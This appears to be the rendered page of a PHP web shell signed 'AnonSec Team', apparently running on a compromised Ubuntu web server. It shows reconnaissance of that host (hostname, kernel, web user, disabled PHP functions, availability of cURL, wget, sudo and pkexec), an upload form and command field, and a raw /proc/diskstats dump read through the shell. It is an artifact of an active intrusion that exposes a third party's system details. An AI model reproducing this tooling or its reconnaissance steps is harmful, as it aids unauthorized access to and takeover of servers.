NICH
Server IP : 127.0.1.1  /  Your IP : 216.73.216.172
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux bahcrestlinepropertiesllc 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1648833/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /proc/1648833/root/proc/diskstats
   7       0 loop0 7403 0 95704 504 0 0 0 0 0 13652 504 0 0 0 0 0 0
   7       1 loop1 2109 0 146786 183 0 0 0 0 0 6360 183 0 0 0 0 0 0
   7       2 loop2 962 0 62280 88 0 0 0 0 0 2756 88 0 0 0 0 0 0
   7       3 loop3 774 0 51726 40 0 0 0 0 0 1996 40 0 0 0 0 0 0
   7       4 loop4 296 0 4262 9 0 0 0 0 0 248 9 0 0 0 0 0 0
   7       5 loop5 3131 0 231194 302 0 0 0 0 0 9968 302 0 0 0 0 0 0
   7       6 loop6 4355 0 70198 349 0 0 0 0 0 8356 349 0 0 0 0 0 0
   7       7 loop7 483 0 32620 19 0 0 0 0 0 1328 19 0 0 0 0 0 0
 252       0 vda 386711 92894 11499439 179310 23252747 6932959 686435076 40252342 0 14964712 40987331 121578 0 1642937604 15627 3113437 540051
 252       1 vda1 381400 79681 11247876 178265 23252595 6932177 686409344 40252023 0 14959324 40445906 121544 0 1639515912 15618 0 0
 252      14 vda14 359 0 3958 37 0 0 0 0 0 204 37 0 0 0 0 0 0
 252      15 vda15 429 13213 31976 175 140 774 25628 316 0 520 501 34 0 3421692 9 0 0
 252      16 vdb 399 0 1365 32 0 0 0 0 0 928 32 0 0 0 0 0 0
   7       8 loop8 655 0 45474 55 0 0 0 0 0 1912 55 0 0 0 0 0 0
   7       9 loop9 10 0 20 0 0 0 0 0 0 4 0 0 0 0 0 0 0

Anon7 - 2022
AnonSec Team